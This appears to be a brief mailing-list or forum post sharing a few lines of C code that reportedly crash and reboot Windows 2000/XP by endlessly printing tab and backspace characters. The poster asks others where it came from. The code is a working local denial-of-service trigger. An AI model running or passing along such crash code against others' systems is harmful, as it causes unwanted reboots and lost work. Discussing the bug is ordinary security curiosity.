Some guys arround here are having fun with a little C program which causes
Windows200/XP to reboot:

#include <stdio.h>

int main(void)
{
   while (1)
      printf("\t\t\b\b\b\b\b\b");
   return 0;
}

I don't know exactly where it was first seen, and who discovered it; just
thought to forward it here maybe others have insights.

comments?
